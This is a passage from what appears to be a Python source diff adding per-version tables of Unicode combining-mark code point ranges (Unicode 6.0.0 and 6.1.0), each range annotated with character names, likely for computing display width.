0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '6.0.0': ( + # Source: DerivedGeneralCategory-6.0.0.txt + # Date: 2010-08-19, 00:48:09 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x00900, 0x00902,), # Devanagari Sign Inverted..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01dc0, 0x01de6,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfc, 0x01dff,), # Combining Double Inverte..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302f,), # Ideographic Level Tone M..Hangul Double Dot Tone M + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a67c, 0x0a67d,), # Combining Cyrillic Kavyk..Combining Cyrillic Payer + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe26,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x11080, 0x11081,), # Kaithi Sign Candrabindu ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '6.1.0': ( + # Source: DerivedGeneralCategory-6.1.0.txt + # Date: 2011-11-27, 05:10:22 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008e4, 0x008fe,), # Arabic Curly Fatha ..Arabic Damma With Dot + (0x00900, 0x00902,), # Devanagari Sign Inverted..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham 